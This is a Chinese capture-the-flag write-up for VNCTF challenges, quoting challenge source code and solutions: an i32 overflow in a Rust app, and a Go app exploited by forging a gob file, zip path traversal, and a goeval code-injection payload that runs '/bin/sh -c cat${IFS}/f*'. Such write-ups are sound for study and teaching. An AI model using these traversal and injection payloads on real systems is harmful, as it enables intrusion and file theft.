概述
题目来源:buuctf平台举行的vnctf。这次VNCTF还是很好玩的,特别是BabyGo(我也只看了web和misc方式的题),刚好也是在最后的30分钟出了,要不然哭死。6点之前已经有思路要覆盖user.gob文件了,但是一直覆盖不到,后面再认认真真了好几遍才发现path理解错了。拿到这题源码时一直在发呆,一点激情都没有。发现自己打这种比赛永远抢不了一血,一是因为知识储配不过,题刷的不够多;二是因为拿到不熟悉的题就容易发呆。幸好今天还够幸运,解出了花费很长时间的题,要不然又是自闭的一天QAQ。因为能力当前就处于“这样”的阶段,所以做出的BabyGo我给了非常详细的解题过程。
Web
象棋王子
直接f12,然后发现特殊字符,ctrl+c -----------> 控制台 -----------> ctrl+v 回车后得到flag
电子木鱼
参考这篇文章:https://course.rs/basic/base-type/numbers.html
题目源码:- use actix_files::Files;
- use actix_web::{
- error, get, post,
- web::{self, Json},
- App, Error, HttpResponse, HttpServer,
- };
- use once_cell::sync::Lazy;
- use serde::{Deserialize, Serialize};
- use std::sync::{Arc, Mutex};
- use tera::{Context, Tera};
- static GONGDE: Lazy<ThreadLocker<i32>> = Lazy::new(|| ThreadLocker::from(0));
- #[derive(Debug, Clone, Default)]
- struct ThreadLocker<T> {
- value: Arc<Mutex<T>>,
- }
- impl<T: Clone> ThreadLocker<T> {
- fn get(&self) -> T {
- let mutex = self.value.lock().unwrap();
- mutex.clone()
- }
- fn set(&self, val: T) {
- let mut mutex = self.value.lock().unwrap();
- *mutex = val;
- }
- fn from(val: T) -> ThreadLocker<T> {
- ThreadLocker::<T> {
- value: Arc::new(Mutex::new(val)),
- }
- }
- }
- #[derive(Serialize)]
- struct APIResult {
- success: bool,
- message: &'static str,
- }
- #[derive(Deserialize)]
- struct Info {
- name: String,
- quantity: i32,
- }
- #[derive(Debug, Copy, Clone, Serialize)]
- struct Payload {
- name: &'static str,
- cost: i32,
- }
- const PAYLOADS: &[Payload] = &[
- Payload {
- name: "Cost",
- cost: 10,
- },
- Payload {
- name: "Loan",
- cost: -1_000,
- },
- Payload {
- name: "CCCCCost",
- cost: 500,
- },
- Payload {
- name: "Donate",
- cost: 1,
- },
- Payload {
- name: "Sleep",
- cost: 0,
- },
- ];
- #[get("/")]
- async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
- let mut context = Context::new();
- context.insert("gongde", &GONGDE.get());
- if GONGDE.get() > 1_000_000_000 {
- context.insert(
- "flag",
- &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
- );
- }
- match tera.render("index.html", &context) {
- Ok(body) => Ok(HttpResponse::Ok().body(body)),
- Err(err) => Err(error::ErrorInternalServerError(err)),
- }
- }
- #[get("/reset")]
- async fn reset() -> Json<APIResult> {
- GONGDE.set(0);
- web::Json(APIResult {
- success: true,
- message: "重开成功,继续挑战佛祖吧",
- })
- }
- #[post("/upgrade")]
- async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
- if GONGDE.get() < 0 {
- return web::Json(APIResult {
- success: false,
- message: "功德都搞成负数了,佛祖对你很失望",
- });
- }
- if body.quantity <= 0 {
- return web::Json(APIResult {
- success: false,
- message: "佛祖面前都敢作弊,真不怕遭报应啊",
- });
- }
- if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
- let mut cost = payload.cost;
- if payload.name == "Donate" || payload.name == "Cost" {
- cost *= body.quantity;
- }
- if GONGDE.get() < cost as i32 {
- return web::Json(APIResult {
- success: false,
- message: "功德不足",
- });
- }
- if cost != 0 {
- GONGDE.set(GONGDE.get() - cost as i32);
- }
- if payload.name == "Cost" {
- return web::Json(APIResult {
- success: true,
- message: "小扣一手功德",
- });
- } else if payload.name == "CCCCCost" {
- return web::Json(APIResult {
- success: true,
- message: "功德都快扣没了,怎么睡得着的",
- });
- } else if payload.name == "Loan" {
- return web::Json(APIResult {
- success: true,
- message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
- });
- } else if payload.name == "Donate" {
- return web::Json(APIResult {
- success: true,
- message: "好人有好报",
- });
- } else if payload.name == "Sleep" {
- return web::Json(APIResult {
- success: true,
- message: "这是什么?床,睡一下",
- });
- }
- }
- web::Json(APIResult {
- success: false,
- message: "禁止开摆",
- })
- }
- #[actix_web::main]
- async fn main() -> std::io::Result<()> {
- let port = std::env::var("PORT")
- .unwrap_or_else(|_| "2333".to_string())
- .parse()
- .expect("Invalid PORT");
- println!("Listening on 0.0.0.0:{}", port);
- HttpServer::new(move || {
- let tera = match Tera::new("src/templates/**/*.html") {
- Ok(t) => t,
- Err(e) => {
- println!("Error: {}", e);
- ::std::process::exit(1);
- }
- };
- App::new()
- .app_data(web::Data::new(tera))
- .service(Files::new("/asset", "src/templates/asset/").prefer_utf8(true))
- .service(index)
- .service(upgrade)
- .service(reset)
- })
- .bind(("0.0.0.0", port))?
- .run()
- .await
- }
复制代码 审计代码,发现使用Cost 会花费掉功德,且在下图所示地方进行计算

结合cost的类型为i32构造quantity的数值,造成溢出,当quantity=2000000000 时 得到flag

BabyGo
题目源码:- package main
- import (
- "encoding/gob"
- "fmt"
- "github.com/PaulXu-cn/goeval"
- "github.com/duke-git/lancet/cryptor"
- "github.com/duke-git/lancet/fileutil"
- "github.com/duke-git/lancet/random"
- "github.com/gin-contrib/sessions"
- "github.com/gin-contrib/sessions/cookie"
- "github.com/gin-gonic/gin"
- "net/http"
- "os"
- "path/filepath"
- "strings"
- )
- type User struct {
- Name string
- Path string
- Power string
- }
- func main() {
- r := gin.Default()
- store := cookie.NewStore(random.RandBytes(16))
- r.Use(sessions.Sessions("session", store))
- r.LoadHTMLGlob("template/*")
- r.GET("/", func(c *gin.Context) {
- userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
- session := sessions.Default(c)
- session.Set("shallow", userDir)
- session.Save()
- fileutil.CreateDir(userDir)
- gobFile, _ := os.Create(userDir + "user.gob")
- user := User{Name: "ctfer", Path: userDir, Power: "low"}
- encoder := gob.NewEncoder(gobFile)
- encoder.Encode(user)
- if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
- c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
- return
- }
- c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
- })
- r.GET("/upload", func(c *gin.Context) {
- c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
- })
- r.POST("/upload", func(c *gin.Context) {
- session := sessions.Default(c)
- if session.Get("shallow") == nil {
- c.Redirect(http.StatusFound, "/")
- }
- userUploadDir := session.Get("shallow").(string) + "uploads/"
- fileutil.CreateDir(userUploadDir)
- file, err := c.FormFile("file")
- if err != nil {
- c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
- return
- }
- ext := file.Filename[strings.LastIndex(file.Filename, "."):]
- if ext == ".gob" || ext == ".go" {
- c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
- return
- }
- filename := userUploadDir + file.Filename
- if fileutil.IsExist(filename) {
- fileutil.RemoveFile(filename)
- }
- err = c.SaveUploadedFile(file, filename)
- if err != nil {
- c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
- return
- }
- c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
- })
- r.GET("/unzip", func(c *gin.Context) {
- session := sessions.Default(c)
- if session.Get("shallow") == nil {
- c.Redirect(http.StatusFound, "/")
- }
- userUploadDir := session.Get("shallow").(string) + "uploads/"
- files, _ := fileutil.ListFileNames(userUploadDir)
- destPath := filepath.Clean(userUploadDir + c.Query("path"))
- for _, file := range files {
- if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
- err := fileutil.UnZip(userUploadDir+file, destPath)
- if err != nil {
- c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
- return
- }
- fileutil.RemoveFile(userUploadDir + file)
- }
- }
- c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
- })
- r.GET("/backdoor", func(c *gin.Context) {
- session := sessions.Default(c)
- if session.Get("shallow") == nil {
- c.Redirect(http.StatusFound, "/")
- }
- userDir := session.Get("shallow").(string)
- if fileutil.IsExist(userDir + "user.gob") {
- file, _ := os.Open(userDir + "user.gob")
- decoder := gob.NewDecoder(file)
- var ctfer User
- decoder.Decode(&ctfer)
- if ctfer.Power == "admin" {
- eval, err := goeval.Eval("", "fmt.Println("Good")", c.DefaultQuery("pkg", "fmt"))
- if err != nil {
- fmt.Println(err)
- }
- c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
- return
- } else {
- c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
- return
- }
- } else {
- c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
- return
- }
- })
- r.Run(":80")
- }
复制代码 审计代码过程,在路径/upload下我们可以知道禁止上传了.gob和.go文件审计/unzip路径,我们可以知道这里把上传的.zip文件进行解压,关键点在下图所示 这里存在一个参数path,用于设置解压.zip文件后,解压文件存放的位置。这里存在filepath.Clean函数,查阅资料发现可以类似目录穿越相关资料链接:https://blog.csdn.net/weixin_45011728/article/details/96615369进行审计/backdoor路径,关键点如下图所示: 这里打开一个user.go的文件,调用了gob.NewDecoder函数,查阅资料发现gob文件为go的二进制文件,相关链接如下:http://c.biancheng.net/view/4563.html
在这里还设置了一个参数pkg,调用了goeval.Eval()函数,不认识然后百度查阅资料学习,在该链接明白用处:https://learnku.com/articles/57884综上分析,大概解题思路是:上传一个zip文件,里面包含了user.gob,user.gob的内容要把ctfer.Power原来的值覆盖掉,改成admin才行。然后此时只是输出了Good,并没有得到flag,找到了下面文章:https://cn-sec.com/archives/1281015.html了解到go的函数逃逸,从而getshell获取flag。解题步骤如下:1. 在/upload中上传了包含user.gob的zip文件,user.gob文件内容如下:- //user.go
- package main
- import (
- "encoding/gob"
- "fmt"
- "os"
- )
- type User struct {
- Name string
- Path string
- Power string
- }
- func main(){
- userDir := "/tmp/bd79ef7e97e0846c1b876078b346ad18/" //自己docker起后的路径
- user := User{Name: "ctfer", Path: userDir, Power: "admin"}
- file, err := os.Create("./user.gob")
- if err != nil {
- fmt.Println("文件创建失败", err.Error())
- return
- }
- defer file.Close()
- encoder := gob.NewEncoder(file)
- err = encoder.Encode(user)
- if err != nil {
- fmt.Println("编码错误", err.Error())
- return
- } else {
- fmt.Println("编码成功")
- }
- }
复制代码 运行上面user.go文件得到user.gob文件2. 在/unzip路径下,使用payload如下:- /unzip?path=../../../tmp/bd79ef7e97e0846c1b876078b346ad18/
复制代码 3. 访问/backdoor,返回Good则上述步骤成功
4. 在/backdoor下,使用下面payload:- /backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt
复制代码 payload的构造参考上述给的链接
5. 得到返回结果:

6. python脚本解码得到flag:flag{b9dd39fb-76b9-4b90-888c-833d81bbcdac}
Misc
验证码
把图片数字提取出来,使用该网站解密即可:https://tuppers-formula.ovh/
得到flag:flag{MISC_COOL!!}
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |